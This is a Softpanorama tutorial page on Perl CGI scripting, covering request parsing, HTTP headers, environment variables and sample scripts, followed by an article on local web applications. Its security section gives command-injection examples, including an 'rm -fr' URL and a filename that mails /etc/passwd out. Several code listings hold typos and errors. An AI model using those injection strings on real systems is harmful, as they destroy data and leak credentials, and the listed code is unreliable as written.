Softpanorama

May the source be with you, but remember the KISS principle ;-)
Home Switchboard Unix Administration Red Hat TCP/IP Networks Neoliberalism Toxic Managers
(slightly skeptical) Educational society promoting "Back to basics" movement against IT overcomplexity and  bastardization of classic Unix

Perl CGI Scripting

News CGI Scripting Recommended Links Tutorials Reference CGI-scanners Selena Sol CGI scripts
CGI Security SSI Administration Debugging History Humor Etc

CGI is a very flexible and powerful protocol, and it scales much more that most WEB developers assume.  CGI may be not that fancy technology, but it's simple and you can do almost anything in it.

For many applications is simpler and no less efficient that using PHP or Java server pages.

Unfortunately CGI scripting was de-emphasized recent years in favor of new technologies.

The most common tool for writing CGI scripts is Perl, therefore most CGI scripts you can find on the WEB are written in this language.

Essentially, all web applications do pretty much the same things:

  1. Provide a Query Interface - Web Applications provide users with an interface for entering data. The data they enter is usually called a "query" or a "request" because the user-defined data is used to dynamically query or make a request from some service on the web server machine (searching a database, ordering a book, requesting a file).
  2. Transmit User-Defined Query - Once collected, the user-data is sent to a web server
  3. Perform Server Side Processing - The web server processes the user-data using some sort of "middleware".
  4. Massage Data - Processing almost always involves playing with data on the server. The user-defined request specifies how the data should be played with.
  5. Transmit Query Results - The processed data is now returned to the client.
  6. Perform Client Side Processing - Finally, the returned data is displayed to the user. Display might be as simple as interpreting HTML, or as complex as performing calculations, sorting, or other manipulations of the data.

SGID Bit on Files: Mandatory Record Locking

If the SGID bit is set on a non-executable file, UNIX implements mandatory record locking for the file. Normal UNIX record locking is discretionary; processes can modify a locked file simply by ignoring the record-lock status.

On System V UNIX, the kernel blocks a process which tries to access a file (or the portion of the file) that is protected with mandatory record locking until the process that has locked the file unlocks it. Mandatory locking is enabled only if none of the execute permission bits are turned on.

Mandatory record locking shows up in an ls listing in the SGID position as a capital "S" instead of a small "s".

What Is the  CGI (Common Gateway Interface) ?

CGI, or Common Gateway Interface, is the most popular programming interface for running external programs by a web server. It was the most exciting and fun areas of programming in early days WEB. Later complexity spoiled the party ;-). 

The CGI lets web browsers pass information to programs either via environment variables or via input stream. That means that it is language independent. Most CGI applications can use Perl or other scripting languages. Perl is the most popular language for CGI programming. Perl's string processing capabilities are a major plus here. There are some times when a mature CGI application should be ported to C or another compiled language. These are the web applications where speed is extremely important. If you expect to have a site, that competes with Yahoo in the number of visitors you probably want to move to a compiled language because they run faster.

CGI is extremly versatile and CGI applications can perform nearly any task you can think of. But the most important thing is that you can create WEB pages on-the-fly and put into them information from databases. But you can do a lot of other stuff too, open ftp or telnet sessions, generate graphics, and compile statistics.

The CGI standard does not exist in isolation, it is dependent on the HTML and HTTP standards. HTML is the standard that lets web browsers understand document content. HTTP is the communications protocol that, among other things, lets web servers talk with web browser.

There are twp modules that might simplify your weork with CGI in Perl cgi-lib and cgi.pm.  But this not always the case and often they are nuisance then help. Especially CGI.pm.  CGI.pm is definitely an overkill for simple CGI applications. Also some design decisions in it are very questionable (and the approach to generating HTML using procedure called is just plain vanilla wrong. There are attempt of simplification of this mess, for example cgi-lite.pl. This library doesn't do as much as CGI.pm but is easier to use and understand.

Very simple CGI program does not need any modules as getting information is really easy. At the beginning it's better to code with them as it is important for you to understand the mechanisms behind the protocols.

This will make debugging your applications much easier because you'll have a better idea what the modules should do and what they should not and also you can always go to the core level and see what's happing on HTTP protocol level.

It's very important to have a clear understanding what is doing behind the scenes. You will also be able to make better use of pre-existing modules then when you need to make educated guesses about what a poorly documented function does. 

Your First CGI Program

You can use any text editor or word processor in the world to create your CGI programs because they are simply Perl programs that are invoked by a URL instead of the command line.

#!/usr/local/bin/perl -w  
print "Content-type: text/plain\n\n";  
print "Hello, World.\n";

The file that contains this CGI program should be placed in your web server's cgi-bin directory. Then, the URL for this program will be something like http://localhost/cgi-bin/test.pl (change localhost to correspond to your web server's hostname). Enter this URL into your web browser and it should display a web page saying "Hello World."  

Note
You may wonder how the web server knows that a CGI program should be executed instead of being displayed. This is an excellent question. It can be best answered by referring to the documentation that came with your particular server.

When the web server executes your CGI program, it automatically opens the STDIN, STDOUT, and STDERR file handles for you. 

The web server will also make some information available to your CGI program through environment variables. You may recall the %ENV hash from Ch 3

How does CGI Work?

CGI programs are always placed on a disk that the web server has access to. This means that if you are using a dial-up account to maintain your web site, you need to upload your CGI programs to the server before they can be run.  

Tip
You can test your CGI scripts locally as long as you can use Perl on your local machine. See the "Debugging CGI Programs" section later in this chapter.

Web servers are generally configured so that all CGI applications are placed into a cgi-bin directory. However, the web server may have aliases so that "virtual directories" exist. Each user might have their own cgi-bin directory. The directory location is totally under the control of your web site administrator.

 

Tip
Finding out which directory your scripts need to be placed in is the first step in creating CGI programs. Since you need to get this information from your web site administrator, send an email message right now requesting this information. Also ask if there are any CGI restrictions or guidelines that you need to follow.

Calling Your CGI Program

The easiest way to run a CGI program is to type in the URL of the program into your web browser. The web server should recognize that you are requesting a CGI program and execute it. For example, if you already had a CGI program called test.pl running on a local web server, you could start it by entering the following URL into your web browser:

http://localhost/cgi-bin/test.pl

The web server will execute your CGI script and any output is displayed by your web browser.

The URL for your CGI program is a virtual path. The actual location of the script on the web server depends on the configuration of the server software and the type of computer being used. For example, if your computer is running the Linux operating system and the NCSA web server in a "standard" configuration then the above virtual would translate into /usr/local/etc/httpd/cgi-bin/test.pl. If you were running the webSite server under Windows 95, the translated path might be /website/cgi-shl/test.pl.

If you have installed and are administering the web server yourself, you probably know where to place your scripts. If you are using a service provider's web server, ask the server's administrator where to put your scripts and how to reference them from your documents.

There are other ways to invoke CGI programs besides using a web browser to visit the URL. You can also start CGI programs from:

<html>
<head><title>CGI test</title></head>
<body><h1>CGI test</h1>
<A HREF="cgi-bin/test.pl">Click here to run a CGI program test.pl</A>
</body>
</html>

Interestingly enough you can pass information to your CGI program by adding extra information to the standard URL. If your CGI program is used for searching your site, for example, you can pass some information to specify which directory to search. The following HTML hyperlink will invoke a search script and tell it to search the /root/document directory.

<A HREF="cgi-bin/search.pl/root/document">Search the Document Directory</A>

This extra path information can be accessed through the PATH_INFO environment variable.

You can also use a question mark to pass information to a CGI program. Typically a question mark indicates that you are passing keywords that will be used in a search.

<A HREF="cgi-bin/search.pl?Wine+1993">Search for 1993 Wines</A>

The information that follows the question mark will be available to your CGI program through the QUERY_STRING environment variables.

The information that follows the question mark will be available to your CGI program through the QUERY_STRING environment variables.

Using either of these approaches will let you create canned CGI requests. By creating these requests ahead of time, you can reduce the amount of typing errors that your users might otherwise have. Later in this chapter, the "CGI and Environment Variables" section discusses all of the environment variables you can use inside CGI programs.

Get and Post

The basic understanding of the CGI require understanding of just three main components of this protocol: 

CGI scripts act as a link between application and the browser. For example, when you enter a search request at your favorite search engine, a request is made by the browser to the server to execute a CGI script. At this time, the browser passes the information that was contained in the online form, plus the current environment, to the server. From here, the server passes the information to the script. This script provides an interface with the database archive and finds the information that you have requested. Once this information is retrieved, the script processes the information entered by the visitor and sends the result to the server as HTML, which feeds it back to the visitor's browser and displays an annotated list of matches to your query.

There are two popular methods of sending information to your scripts. The first is with the GET method. The GET method is the default method used. If no method is specified, then the default METHOD="GET" is assumed by the browser. If you are creating a form, then you can use this method by specifying this method when you insert the <FORM> tag within your document. An example would be

<FORM ACTION="mail.pl" METHOD="GET">

When using the GET method, the information entered by the visitor is sent to the server within the environment variable, QUERY_STRING. The limit on the length of the environment variables in Unix environment is  255 characters. This includes any space characters.

The second method used is so called POST. Using the method POST, information entered by the visitor the CGI script gets via script's STDIN. The advantage of using the method POST, is that you aren't limited to 255 characters as you are when using the GET method. Here's an example of a form that uses the method POST:

<FORM ACTION="mail.pl" METHOD="POST">

For additional details see The Common Gateway Interface

Depending on which method is used, your script will parse the information differently. While this difference is small, it can create havoc if your script doesn't parse the information coming from the visitor correctly. Listing 34.1 checks which method is being used and parses the information coming from the visitor based on the method used.

#! /usr/bin/perl

if ($ENV{'REQUEST_METHOD'} eq 'POST') {

   read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

   @pairs = split(/&/, $buffer);

   foreach $pair (@pairs) {

     ($name, $value) = split(/=/, $pair);

     $value =~ tr/+/ /;

     $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

     $contents{$name} = $value;
   }

}

else if ($EN~\V{'REQUEST_METHOD'} eq 'GET') {

  @pairs = split(/&/, $ENV{'QUERY_STRING'});

  foreach $pair (@pairs) {

    ($name, $value) = split(/=/, $pair);

     $value =~ tr/+/ /;

     $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

     $contents{$name} = $value;

  }

}

Using this basic header to all your CGI scripts written in PERL might save you some of headaches. The information is parsed and split automatically, with each item sent by the visitor placed into an array called @contents. Each individual item in the array can be called by using $contents{'name'}, where the name is the name assigned to the variable when you created your form.

The header of the output stream

The first two lines of the output stream should be a special header.  for all CGI scripts that generate HTML it should be:

Content-type: text/html

<html>
............

Note that a blank line required after the header. Forgetting to output this line can lead to very unpleasant and difficult to find errors.

#!/usr/local/bin/perl
$hello = "/file/path/hello.html";
print "Content-type: image/gif\n\n"; # note double newlines !!!
open(SYSCGI,$hello);
while(<SYSCGI>) { print $_; }
close(SYSCGI);
exit;

File hello.html should be a valid HTML page, for example:

<html>
<head><title>Hello World in CGI</title></head>
<body><h1>Hello World</h1>
<p> This page was generated by a CGI script</p>
</body>
</html>

 

Other MIME Content Types

The use of output headers in CGI scripts permit transmission of non-text files like images and is an expansion of a system of protocols called MIME (Multipurpose Internet Mail Extensions). Its use for e-mail began in 1992 when the Network Working Group published RFC1341, which defined this new type of e-mail system. This system greatly expanded the ability of Internet e-mail to send and receive various nontext file formats.

Content-Type Extensions
application/octet-stream bin exe
text/html html htm
text/plain txt
text/richtext rtx
video/mpeg mpeg mpg mpe
video/quicktime qt mov
video/x-msvideo avi

Since the release of RFC 1341, a series of improvements has been made to the MIME conventions. You can find some additional information about this by looking at RFC 1521 and RFC 1522. A list of all the RFC documents can be found online at http://ds0.internic.net/rfc/.

Actually each time you, as a client, send a request to the server, you need to send a correct MIME message with a header. Most of the information in the header will be generated automatically by the server. This includes the request method, a URI (Universal Resource Identifier), the protocol version, and then a MIME message. The server then responds to this request with its own message, which usually includes the server's protocol version, a status code, and a different MIME message. You need to supply just one line and a blank line that signify the end of the header.


A good place to start your search for more information about this is the World Wide Web Consortium (W3C) Reference Library at http://www.w3.org/pub/WWW/Library/.


To sum up out discussion: Each document that is created by a CGI script must contain a content-type output header as the first part of the document.

HTTP Headers

The first line of output for most CGI programs must be an HTTP header that tells the client web browser what type of output it is sending back via STDOUT. Only scripts that are called from a server-side include are exempt from this requirement.

Response Type HTTP Header
Text Content Type: text/plain
HTML page Content Type: text/html
gif graphic Content Type: image/gif
Redirection to anther web page Location: http://www.foobar.com
Cookie Set-cookie: ...
Error Message Status: 402

All HTTP headers must be followed by a blank line. Use the following line of code as a template:

print("Content Type: text/html\n\n");

Notice that the HTTP header is followed by two newline characters. As we mentioned befor this is very important to ensures that a blank line follows the HTTP header.

If you have installed any helper applications for Netscape or are familiar with MIME types, you already recognize the text/plain and text/html parts of the Content Type header. They tell the remote web browser what type of information you are sending. The two most common MIME types to use are text/plain and text/html.

The Location header is used to redirect the client web browser to another web page. For example, let's say that your CGI script is designed to randomly choose from among 10 different URLs to order to determine the next web page to display. Once the new web page is choosen, your program outputs it like this:

print("Location: $nextPage\n\n"); 

Once the Location header has been printed, nothing else should be printed. That is all the information that the client web browser needs.

Cookies and the Set-cookie: header are discussed in the "Cookies" section later in this chapter.

The last type of HTTP header is the Status header. This header should be sent when an error arises in your script that your program is not equipped to handle. I feel that this HTTP header should not be used unless you are under severe time pressure to complete a project. You should try to create your own error handling routines that display a full web page that explains the error that happened and what the user can do to fix or circumvent it. You might include the time, date, type of error, contact names and phone numbers and any other information that might be useful to the user. Relying on the standard error messages of the web server and browser will make your web site less user friendly.

Environment Variables

When your CGI program is started, the web server creates and initializes a number of environment variables that your program can access using the %ENV hash.

Table contains a short description of each environment variable. A complete description of the environmental variables used in CGI programs can be found at

http://www.ast.cam.ac.uk/~drtr/cgi-spec.html 

If you have bin access on a UNIX server, then you can use the following script to easily determine which environment variables your server supports. In addition, this script should also work on other server types such as Microsoft Windows NT server if you properly configure the server to recognize and execute PERL scripts.

#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
foreach $key (keys(%ENV)){
   print "\$ENV{$key} = \"$ENV{$key}\"<br>\n";
}
exit;

As you can see from the example, most of the variables contain protocol version information and location information such as the client's IP address and the server's domain. However, if you are creative, you can put some of these variables to good use in your CGI scripts.

CGI Environment Variables Description
AUTH_TYPE Optionally provides the authentication protocol used to access your script if the local web server supports authentication and if authentication was used to access your script.
CONTENT_LENGTH Optionally provides the length, in bytes, of the content provided to the script through the STDIN file handle. Used particularly in the POST method of form processing.
CONTENT_TYPE Optionally provides the type of content available from the STDIN file handle. This is used for the POST method of form processing. Most of the time this variable will be blank and you can assume a value of application/octet-stream.
GATEWAY_INTERFACE Provides the version of CGI supported by the local web server. Most of the time this will be equal to CGI/1.1.
HTTP_ACCEPT Provides a comma-separated list of MIME types the browser software will accept. You might check this environmental variable to see if the client will accept a certain kind of graphic file
HTTP_USER_AGENT Provides the type and version of the user's web browser. For example, the Netscape web browser is called Mozilla.
HTTP_FROM Provides the user's email address. Not all web browsers will supply this information to your server. Therefore, only use this field to provide a default value for an HTML form.
QUERY_STRING Optionally contains form information when the GET method of form processing is used. QUERY_STRING is also used for passing information like search keywords to CGI scripts.
PATH_INFO Optionally contains any extra path information from the HTTP request that invoked the script.
PATH_TRANSTLATED Maps the script's virtual path (i.e. from the root of the server directory) to the physical path used to call the script.
REMOTE_ADDR Contains the dotted decimal address of the user.
REMOTE_HOST Optionally provides the domain name for the site that the user has connected from.
REMOTE_IDENT Optionally provides client identification when your local server has contacted an IDENTD server on a client machine. You will very rarely see this because the IDENTD query is slow.
REMOTE_USER Optionally provides the name used by the user to access your secured script.
REQUEST_METHOD Usually contains either "GET" or "POST" - the method by which form information will be made available to your script. See
SCRIPT_NAME Contains the virtual path to the script.
SERVER_NAME Contains the configured hostname for the server.
SERVER_PORT Contains the port number that the local web server software is listening on. The standard port number is 80.
SERVER_PROTOCOL Contains the version of the web protocol this server uses. For example, HTTP/1.0.
SERVER_SOFTWARE Contained the name and version of the web server software. For example, webSite/1.1e.

One good example is the use of the environment variable HTTP_USER_AGENT. This contains the name and version number of the client application, which is usually a Web browser. Once you know what the values are for various browsers, it is possible to write a CGI script to serve different Web documents based on browser type. Thus, a text-only browser might receive a text version of your Web page, while image-capable browsers will receive the full version.

URL Encoding

One of the limitations that the WWW organizations have placed on the HTTP protocol is that the content of the commands, responses, and data that are passed between client and server should be clearly defined. It is sometimes difficult to tell simply from the context whether a space character is a field delimiter or an actual space character between to add whitespace between two words.

To clear up the ambiguity, the URL encoding scheme was created. Any spaces are converted into plus (+) signs to avoid semantic ambiguities. In addition, special characters or 8-bit values are converted into their hexadecimal equivalents and prefaced with a percent sign (%). For example, the string Davy Jones <[email protected]> is encoded as Davy+Jones+%[email protected]%3E. If you look closely, you see that the < character has been converted to %3C and the > character has been coverted to %3E.

Your CGI script will need to be able to convert URL encoded information back into its normal form. Fortunately, listing contains a function that will convert URL encoded.

sub decodeURL { 
$_ = shift; 
tr/+/ /; 
s/%(..)/pack('c', hex($1))/eg; 
return($_); 
}

Preconditions for CGI Scripts

Before you can get started writing your own CGI scripts, you need to find out if your server is specially configured to allow you to use them. The best thing to do is contact your system administrator and find out if you are allowed to run CGI scripts on the server. If you can, you also need to ask what you need to do to use them and where you should put the scripts once they are written.

In some cases, system administrators do not allow clients to use CGI scripts because they feel they cannot afford the added security risks.

If you find that you can use CGI scripts and are using a UNIX server, then you will probably have to put your scripts into a specially configured directory, which is usually called cgibin or cgi-bin. If you are using Microsoft's Internet Server, then you will probably put your CGI programs in a directory called Scripts. This allows the system administrator to configure the server to recognize that the files placed in that directory are executable.

Creating CGI Scripts

Once you have decided on a language to use, you find that various applications can be developed using the CGI. By far, e-mail, guestbook, redirection, counters, and advertisement banners are the most widely used scripts found to add interactivity to your Web pages, or to simply spice up a Web page. These scripts are covered in this section in more detail.

A Simple Guestbook Script

Guestbook scripts are the most popular CGI script. I'm sure you have seen some sort of guestbook script on someone's personal home page, and even on commercial sites.

Guestbooks scripts allow the visitor to not only interact with you but also with other individuals that visit your site. By using a guestbook script, you just expanded upon how those visiting your site can interact. Guestbook scripts are used to allow the visitor to simply say "Hello" or to allow visitors to ask questions, hoping that someone visiting the site at a later date can answer that question.

The guestbook script, written by Jeffry Dwight, can be found on the CD-ROM named SGB1.EXE and contains both the HTML code, initially provided to allow visitors to enter comments, and the guestbook itself, allowing the visitor to read what others have entered. This script was written in C to run on Windows NT and Windows 95 (tested with WebSite and MS's Personal Web Server on Windows 95). The compiled binary has been provided, as well as the source code and makefile.

The script is fairly simple and heavily commented with explanations on how the CGI script works. If you take a look at the program below you can get an idea of how it works as it stands. If you have a C compiler (a must if you are going to create CGI scripts in C), you can edit the script so the script is customized to the look and feel of your specific site.  Matt Wright provides a nice guestbook script that can be found at http://www.worldwidemart.com/scripts/guestbook.shtml.

An E-Mail Script

E-mail scripts are just about the oldest and most used scripts in use on the World Wide Web. Interfacing the Web with e-mail just seems like a good idea. By doing so, you can give someone visiting your site the ability to communicate with you whether or not she has an e-mail account herself. All their browser needs to be able to do is allow the visitor to use forms.

Another benefit of an e-mail script is that you can create scripts that notify you if, let's say, a visitor enters information into a guestbook. You can also provide online ordering. A visitor selects items to be purchased. When they are done, the items requested can be e-mailed to you, or someone in your company, for processing.

 is a form a user can fill out. The fields entered are name, an e-mail address, a subject line, and comments. Just about the same items most people fill out when sending e-mail via conventional means.

mail.html--A Simple Form that Allows the Visitor to Send E-Mail

<HTML>

<HEAD><TITLE>EMAIL ME!</TITLE></HEAD>

<BODY BGCOLOR=#FFFFFF>

<H1>EMAIL ME!</H1>

Please fill out the form to send me email!<P>

<FORM ACTION="mail.pl" METHOD="POST">

Realname:<INPUT TYPE="TEXT" NAME="realname"><br>

Email address:<INPUT TYPE="TEXT" NAME="email"><br>

Subject: <SELECT NAME="subject">

<OPTION>Hello!

<OPTION>Help!!

<OPTION>Reply please

</SELECT>

<P>

Enter your comments:<br>

<TEXTAREA NAME=comments ROWS=10 COLS=60>

</TEXTAREA>

<P>

<INPUT TYPE="SUBMIT">

</FORM>

</BODY>

</HTML>

Once the form is filled out by the visitor, the information entered is then sent to the server, which in turns sends that information to the CGI script indicated by using the ACTION attribute. In this case, the information entered by the visitor is sent to the script mail.pl.

If you take a look at Listing 34.3, you can see the full version of our mail.pl script. The first line tells the system this is a PERL script, and the full path is given to PERL, which is the program that will interpret the script.

Next, two variables are set. The first variable is the path to the sendmail program, which will actually send the e-mail to its destination. The second variable is the recipient, that is, the e-mail address that will receive the e-mail. We define this here so that the person visiting the site can't save a copy of our form and change the e-mail address to which this message is being sent.

Next, the script breaks the input stream coming from the server and places the value of each entry into the array named contents. This allows you to easily manipulate the information entered by the visitor.

Lastly, the e-mail is sent, and a Thank You page is displayed back to the visitor, letting him know that his comments were successfully sent.

mail.pl--The Visitor's Comments Are Processed and Sent to the Recipient

By convention, one of the most important parts of a CGI script is to return something to the visitor. In the above example, you simply thanked the visitor for his comments. To send something back to the visitor is one of the basic rules of CGI scripting. Doing so tells the visitor that the information they entered was processed correctly, or at times the information returned will be results to a query they entered. Using search engines is a good example of returning information to the visitor. If a header is sent to the visitor without any content, then your browser will simply sit there or, in the case of Netscape, a dialog box will appear stating that the document contains no data.

A Redirection Script

Another commonly requested script is the redirection script. A redirection script allows the visitor to select an item from a list and automatically send it to the site chosen.

Okay, so this is basically how links on Web pages work in the first place. Very true, but what you might, or might not, be aware of is you can log only where a visitor came from; the server doesn't have the capability to log where you go to. Redirection scripts solve this problem.

No longer are advertisers interested solely in how often their banner is displayed to the public. Advertisers want to know if their banner is having an effect on those visiting your site. Redirection scripts help you log how many times a link has been clicked.

The script redirect.pl, shown in Listing 34.4, performs this function by taking the URL that the visitor requested and logging it, and then by using the Location header, they are redirected to the site in question.

First, when the script is called, three buttons are provided for the visitor to click. Once clicked, the script logs the request to the log file specified in the variable logfile. In this instance, the log file is called redirect.log. The log file contains the date and which place the visitor wished to visit.

redirect.pl--A Simple Script that Logs the URL the Visitor Clicks

Simple Count

Counters allow you to find out how many people have visited your page. A page with a low count could tell you the page might not be worth keeping. A page with a high count might indicate that it could use some expansion.

Counters are on just about every other page on the Net. In some instances they have been used as a way of bragging, "My dad is tougher than your dad." Some counters seem quite irritating in that they are heavily loaded with graphic images and seem to take forever just to display. Others, though, are simple counters created to inform not only the administrator of the site of how busy a site might be but also those visiting your site as to how often your page is visited--a very handy tool if you are attempting to attract potential advertisers.

The count.pl script shown in Listing 34.5 demonstrates how you can keep track of how often your site is being visited. The script is simple and displays only a small line with the number times your page has been accessed. The script can also be configured so that the access count is not displayed to those visiting your site. This allows you to know what your "hit" rate is without divulging the count to everyone visiting your page.

The script is accessed by using Server Side Includes (SSI). By using SSI to execute a script, you don't have to access the script directly, or with a form. What SSI does is return the result of a script directly within the HTML document that called the script.

Whether you can use SSI depends on your Web administrator. Some sites, for security reasons, do not allow normal users to utilize SSI. Also, some of the older Web servers don't have the ability to use SSI. If in doubt, check with your administrator.

How SSI is used varies, but with count.pl you want to use the SSI command,

<!--#exec cgi="count.pl"-->

wherever you want the page to display the count. For example, if you would like to have the access count displayed at the bottom of your page, you would have an HTML document that looks like:

<HTML>

<HEAD><TITLE>Counting!</TITLE></HEAD>

<BODY>

<H1>HI!</H1>

Hello visitor!<p>

You are visitor number: <!--#exec cgi="count.pl"-->

</BODY>

</HTML>

The count.pl script can also be used to keep track of several pages by using one script. Just make sure the path is pointing to where the script resides. In this example, the script resides in the same directory in which the script was called. If the script resides in the /cgi-bin/ directory, then the SSI command will need to reflect this.

Also, ensure that the countfile exists. This script is quite simple, and although it functions well, it doesn't create the countfile automatically.

Last, not all versions of PERL use the flock() function. If your version of PERL doesn't support flock(), then you will want to rewrite the script to use fcntl().

  count.pl--A Simple Hit Counter
#!/usr/bin/perl

# simplecount 1.0

# count.pl

$uri = $ENV{`DOCUMENT_URI'};

$countfile = "count";

print "Content-type: text/html\n\n";

open(COUNT, "+<$countfile") || do {

	print "Can't open count file";

	die; 
};

flock(COUNT, 2);

while (<;COUNT>) {

	chop;

	($file, $count) = split(/:/, $_);

	$counts{$file} = $count;

}

$counts{$uri}++;

seek(COUNT, 0, 0);

foreach $file (keys %counts) {

	print COUNT $file, ":", $counts{$file}, "\n";

}

flock(COUNT, 8);

close(COUNT);

print $counts{$uri};

exit;

An Advertisement Banner

Using advertisement banners like those seen on the more popular Web pages have been mentioned in the last two sections. Advertisement banners allow a company to place a small ad on your page that is, usually, linked to its site. The nice thing about allowing advertisement banners is that companies are quite willing to pay large sums of money for you to display their banner--especially if you have a site that is heavily accessed. In fact, the busier your site, the more money you can make with advertising!

The script randpic.pl randomly picks and displays a banner like the banner shown in Figure 34.3. Each banner displayed contains the path to the banner image, the URL visitors will be sent to if they click the banner, a short line used as the graphic alternative, and a line in which a short slogan is displayed.

Randpic.pl is a simple script that randomly picks and displays an advertisement on your page.

If you take a look at Listing 34.6, there are four arrays used to provide information about each banner. The first section of the script defines each array. The next section selects a random number using the current time as the seed. Once done, HTML is created, which is placed in the HTML document calling the randpic.pl script.

randpic.pl-- Place Advertisement Banners on Your Web Pages

Just like the count.pl script discussed in the previous section, this script requires the use of Server Side Includes. In this example, you would place the line

 <!--#exec cgi="randpic.pl"--> 

in your HTML document where you would like the banner to be displayed.

Now that you have been introduced to CGI scripting, it's time for you to write your own scripts (or simply edit the scripts provided to suit your needs), which can be used to spice up your pages and provide a little more interactivity between you and those visiting your site. After all, allowing those visiting your site to interact with you, and others, is the main reason why the World Wide Web has become so popular.

Security

Like any protocom that pass information that came from a remote site CGI script might have security problems if the do not check what they got and/or pass arguments to system programs.

Suppose that you had a CGI script that formatted a directory listing and generated a web page that let visitors view the listing. In addition, let's say that the name of the directory to display was passed to your program using the PATH_INFO environment variable. The following URL could be used to call your program:

http://www.foo.com/cgi-bin/dirlist.pl/docs

Inside your program, the PATH_INFO environment variable is set to docs. In order to get the directory listing, all that is needed is a call to the ls command in UNIX or the dir command in DOS. Everything looks good right?

But what if the program was invoked with this command line?

http://www.foo.com/cgi-bin/dirlist.pl/; rm -fr;

Now, all of a sudden, you are faced with the possibility of files being deleted because the semi-colon (;) lets multiple commands be executed on one command line.

This same type of security hole is possible any time you try to run an external command. You might be tempted to use the mail, sendmail, or grep commands to save time while writing your CGI program, but since all of these programs are easily duplicated using Perl try to resist the temptation.

Another security hole is related to using external data to open or create files. Some enterprising hacker could use "| mail [email protected] < /etc/passwd" as the filename to mail your password file or any other file to himself.

A lot of security holes can be avoided by removing the dangerous characters (like the | or pipe character) and checking the length of argument before processing them

sub improveSecurity { 
$_ = shift; 
s/\-+(.*)/\1/g; 
s/(.*)[ \t]+\-(.*)/$1$2/g; 
tr/\$\'\`\"\<\>\/\;\!\|/_/; 
return($_); 
} 

If you'd like a more in-depth description of CGI Security visit these web sites:


Top Visited
Switchboard
Latest
Past week
Past month

NEWS CONTENTS

Old News ;-)

[Feb 27, 2007] Develop Web applications for local use by Peter Seebach

Feb 27, 2007

Learn when a browser is better than a GUI application, and when a CGI is best of all

Level: Introductory

Peter Seebach ([email protected]), Freelance author, Plethora.net

Writing local Web applications can be quick, easy, and efficient for solving specific Intranet problems. Understand why a Web browser is sometimes a better interface than a GUI application, and when a CGI script may be the simplest and most elegant solution.

The vast majority of Web sites you visit are presumably open to Internet access, but many companies have found that Intranet development has its place. However, you can take this further -- you can develop perfectly functional Web applications that will never send so much as a single packet over a network interface. Experienced Web developers sometimes find themselves struggling to learn a GUI toolkit when a simple CGI script would serve their needs perfectly well.

A local-only Web application is, if anything, much simpler than one intended for general use. You can easily set browser requirements, and server performance is very unlikely to be an issue. Simple applications, using standard CGI form widgets and the like, can be written in a fraction of the time required for development of self-contained applications. Applications that are built around forms or data manipulation are often excellent candidates for implementation as a trivial Web service.

In many cases, a custom application like this can provide an elegant and simple solution to a very specific problem. I once wrote a picture browser that did nothing but browse a single directory full of files from a camera and let me file the pictures into categories. This took maybe twenty lines of Perl, and the result was much faster than a more general solution, to say nothing of how long it would have taken to write a GUI application to do the same thing.

What has the Web browser done for us, anyway?

You might ask, quite reasonably, Why would anyone bother? What does the Web browser do that another application can't do? The answer is obvious: nothing. But then, what do high-level languages do that you can't do in machine code? Nothing, really. The advantage of using a Web browser as your interface is that all the hard code has been written already. You don't have to run around checking for resize events, window expose events, or menu events. All you do is read a chunk of data expressing a request and process it.

The potential weakness of Web-based development is lack of control over appearance. This is not much of a weakness. If you're trying to get an application developed quickly, the last thing you want is to spend a lot of time messing about with appearance. Whatever platform you're on, the Web browser's native buttons and text widgets will be familiar to the user. That's a feature, really.

The Web browser does one more thing that is very useful: It gives you a number of preference settings you're not required to maintain yourself. Font sizes can be changed by the user on the fly. Similarly, if you can generate your output in a nice, simple HTML form, it can be printed easily and quickly. Many features you might otherwise have to implement (saving output to a file, printing output, and resizing windows are just some examples) are implemented for you.

Architecture for the single user

Although it might seem that a single-user environment completely eliminates a lot of application development considerations, this isn't quite the case. I recently wrote a document-filing system as a Web application. Because I designed it for a maximum of one simultaneous user, I felt I could dispense with a lot of the file-locking code that might otherwise be necessary. I was wrong. The user interface utilized frames, and one of the sanity-checks performed by my display program could fail catastrophically if another program modified the database while it was running. The browser would often end up running both queries at once.

A local server means that network bandwidth is not an issue; even things that might be problematic on ethernet are not a problem on a local host, although huge files will still slow down or crash browsers.

Network security

If you are developing an application to run on a local Web server, give thought to the question of what happens when someone else accesses it over the network. Ideally, ensure that the local application is only accessible on the local network interface. If you can't do that, you will need some kind of security. It might be enough to simply have your application refuse all connections that aren't from 127.0.0.1, which is a lot more secure than password-based security.

It might be reasonable to simply pick an alternative port number so you can have a dedicated server for your application. On a UNIX®-type box, setting up a personal copy of Apache on port 8880 will take minutes and gives you complete control over server features and settings. It also ensures that your application back end runs with your usual privileges, so you don't have to make crucial files world-writeable, which is a big plus.

Data management

For a traditional Web application, using a database server on the back end simplifies development immensely, because the database engine -- just by being a single server -- provides most of the serialization and locking you need, and more can be obtained easily. For a single-user application that's going to run on a single machine, this is probably overkill and might not be worth the trouble. A local application might have no need of this and might benefit from using a simple and easily moved data file. I would move my document-filing application between my laptop and desktop computers whenever I went anywhere. This was trivial because it simply used a Berkeley DB file.

The Berkeley DB format offers a fairly simple solution that is easily accessible from a number of languages. Because there's no database server involved, it's a poor choice for an application with many simultaneous users; to be safe, you have to lock the database, perform your operations, and then unlock it. On the other hand, because no database server is involved, it's a fairly good choice for a program with very few simultaneous users.

Here's sample Perl code to attach to a Berkeley DB database, complete with locking:


Listing 1: Attaching a database
                
my %db;
open(DBFILE, '+file.db');
flock(DBFILE, LOCK_EX);
$dbhandle = tie %db, 'DB_File', 'file.db', O_CREAT|O_RDWR, 0666, $DB_HASH;
     

After this code has run, you can access the database directly as a standard Perl hash:


Listing 2: Using a database
                
$db{user} = "me";
print "<p>User: $db{user}</p>\n";
     

You can also use the dbhandle object to perform operations on the database:


Listing 3: Using a database handle
                
$dbhandle->del("user");
     

When you're done, you're done -- that is, when your program exits, the lock is dropped automatically. The flock() locking is purely advisory -- it won't prevent other programs from writing to the file if they don't use it. If your program is implemented as a number of related programs, put the locking code in all of them, or better yet, put it in a shared module. This way, the purely advisory locking still gives you what you need: reliable assurance that only one program at a time is modifying the data files.

Some applications will work fine with plain files, such as CSV files or just flat field text files. Some might need a full SQL database. Don't feel compelled to adopt "enterprise-class" solutions for small applications that are intended to get a job done quickly and easily. Save your effort for good error recovery and nice convenience features. That said, if you need a relational database, use one.

